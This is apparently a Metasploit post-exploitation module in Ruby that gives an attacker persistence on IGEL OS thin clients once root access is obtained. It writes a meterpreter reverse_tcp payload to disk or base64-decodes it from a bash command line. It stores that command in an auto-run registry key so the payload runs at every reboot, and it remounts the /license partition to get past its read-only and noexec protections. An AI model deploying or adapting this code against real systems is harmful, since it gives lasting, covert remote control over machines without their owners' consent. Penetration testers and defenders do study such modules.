## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local include Msf::Post::Linux include Msf::Post::Linux::System include Msf::Post::Unix include Msf::Post::File include Msf::Exploit::FileDropper include Msf::Exploit::EXE include Msf::Exploit::Local::Persistence def initialize(info = {}) super( update_info( info, 'Name' => 'IGEL OS Persistent Payload', 'Description' => %q{ Gain persistence for specified payload on IGEL OS Workspace Edition, by writing a payload to disk or base64-encoding and executing from registry. }, 'Author' => 'Zack Didcott', 'License' => MSF_LICENSE, 'Platform' => ['linux'], 'Targets' => [ [ 'Linux Command', { 'Arch' => [ARCH_CMD], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp' }, 'Type' => :nix_cmd } ], [ 'Linux Dropper', { 'Arch' => [ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, 'Type' => :linux_dropper } ], ], 'DefaultTarget' => 0, 'SessionTypes' => ['shell', 'meterpreter'], 'DisclosureDate' => '2016-11-02', # IGEL OS 10 release date 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) register_options([ OptString.new('REGISTRY_KEY', [ true, 'Registry key to use for automatically executing payload', 'userinterface.rccustom.custom_cmd_net_final' ]), OptString.new('TARGET_DIR', [true, 'Directory to write payload (dropper only)', '/license']), OptBool.new('REGISTRY_ONLY', [true, 'Set whether to store payload in registry (dropper only)', false]) ]) end def validate unless is_root? fail_with(Failure::NoAccess, 'Session does not have root access') end end def install_persistence validate case target['Type'] when :nix_cmd command = payload.encoded when :linux_dropper if datastore['REGISTRY_ONLY'] print_status('Base64-encoding payload') encoded_payload = Rex::Text.encode_base64(generate_payload_exe) command = base64_command(encoded_payload) else print_status("Uploading payload to #{datastore['TARGET_DIR']}") payload_file = write_payload(generate_payload_exe, datastore['TARGET_DIR'], 0o700) command = local_command(payload_file) end end print_status('Writing persistence to registry') write_registry(datastore['REGISTRY_KEY'], command) if get_registry(datastore['REGISTRY_KEY']) != command fail_with(Failure::Unknown, 'Failed to write to registry') else print_status('Registry written successfully') print_status('The payload should be executed when the target reboots') end end def remount_license(opt = 'rw') create_process('/bin/mount', args: ['-o', "remount,#{opt}", '/license']) end def write_payload(contents, dir, perm) remount_license('rw') filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}" write_file(filepath, contents) chmod(filepath, perm) remount_license('ro') return filepath end def base64_command(encoded_payload) payload_dest = "/tmp/#{Rex::Text.rand_text_alpha(8)}" "/bin/bash -c '/bin/echo '#{encoded_payload}' | /usr/bin/base64 -d > '#{payload_dest}'; /bin/chmod +x '#{payload_dest}'; '#{payload_dest}' &'" end def local_command(payload_file) command = "/bin/bash -c '/bin/mount -o remount,exec /license; '#{payload_file}' &'" return command end def get_registry(key) create_process('/bin/get', args: [key]) end def write_registry(key, value) create_process('/bin/setparam', args: [key, value]) end end